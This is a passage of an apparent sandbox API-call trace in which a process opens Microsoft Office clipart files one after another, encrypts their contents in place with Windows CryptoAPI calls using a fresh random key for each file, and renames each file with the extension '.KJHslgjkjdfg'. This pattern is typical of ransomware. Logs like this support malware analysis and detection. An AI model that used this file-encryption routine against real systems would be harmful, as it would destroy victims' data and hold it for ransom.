lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.414] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.414] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.414] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x287c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x287c, lpOverlapped=0x0) returned 1 [0172.415] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2880, dwBufLen=0x2880 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2880) returned 1 [0172.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.416] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2880, lpOverlapped=0x0) returned 1 [0172.416] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.416] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.416] SetEndOfFile (hFile=0x114) returned 1 [0172.418] GetProcessHeap () returned 0x2a0000 [0172.418] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.418] GetProcessHeap () returned 0x2a0000 [0172.418] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.kjhslgjkjdfg")) returned 1 [0172.419] CloseHandle (hObject=0x114) returned 1 [0172.419] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105710.WMF", cAlternateFileName="")) returned 1 [0172.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.420] GetProcessHeap () returned 0x2a0000 [0172.420] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.420] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.420] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.420] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.420] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.420] GetProcessHeap () returned 0x2a0000 [0172.420] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.420] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.420] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.420] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.422] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.423] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.423] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.423] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.423] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.423] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.423] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.423] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.423] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x35f0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x35f0, lpOverlapped=0x0) returned 1 [0172.424] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x35f0, dwBufLen=0x35f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x35f0) returned 1 [0172.424] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.424] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x35f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x35f0, lpOverlapped=0x0) returned 1 [0172.425] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.425] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x36c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.425] SetEndOfFile (hFile=0x114) returned 1 [0172.427] GetProcessHeap () returned 0x2a0000 [0172.427] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.427] GetProcessHeap () returned 0x2a0000 [0172.427] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.kjhslgjkjdfg")) returned 1 [0172.428] CloseHandle (hObject=0x114) returned 1 [0172.428] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1 [0172.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.430] GetProcessHeap () returned 0x2a0000 [0172.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.430] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.430] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.430] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.430] GetProcessHeap () returned 0x2a0000 [0172.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.430] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.430] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.430] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.432] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.432] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.432] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.432] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.432] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.432] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.432] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.433] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2030, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2030, lpOverlapped=0x0) returned 1 [0172.433] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2030, dwBufLen=0x2030 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2030) returned 1 [0172.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.433] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2030, lpOverlapped=0x0) returned 1 [0172.434] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.434] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.434] SetEndOfFile (hFile=0x114) returned 1 [0172.436] GetProcessHeap () returned 0x2a0000 [0172.436] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.436] GetProcessHeap () returned 0x2a0000 [0172.436] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.kjhslgjkjdfg")) returned 1 [0172.437] CloseHandle (hObject=0x114) returned 1 [0172.437] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1 [0172.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.438] GetProcessHeap () returned 0x2a0000 [0172.438] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.438] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.438] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.440] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.440] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.440] GetProcessHeap () returned 0x2a0000 [0172.440] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.440] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.440] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.440] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.440] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.440] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.440] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.441] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.441] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.441] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.441] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.441] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.441] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2dc8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2dc8, lpOverlapped=0x0) returned 1 [0172.442] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2dd0, dwBufLen=0x2dd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2dd0) returned 1 [0172.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.442] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2dd0, lpOverlapped=0x0) returned 1 [0172.442] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2ea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.442] SetEndOfFile (hFile=0x114) returned 1 [0172.444] GetProcessHeap () returned 0x2a0000 [0172.444] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.444] GetProcessHeap () returned 0x2a0000 [0172.444] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.kjhslgjkjdfg")) returned 1 [0172.445] CloseHandle (hObject=0x114) returned 1 [0172.445] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1 [0172.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.446] GetProcessHeap () returned 0x2a0000 [0172.446] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.446] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.446] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.448] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.448] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.448] GetProcessHeap () returned 0x2a0000 [0172.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.448] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.448] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.448] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.448] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.448] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.448] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.448] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.449] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.449] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.449] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.449] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1204, lpOverlapped=0x0) returned 1 [0172.450] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1210, dwBufLen=0x1210 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1210) returned 1 [0172.450] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.450] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1210, lpOverlapped=0x0) returned 1 [0172.450] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.450] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x12e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 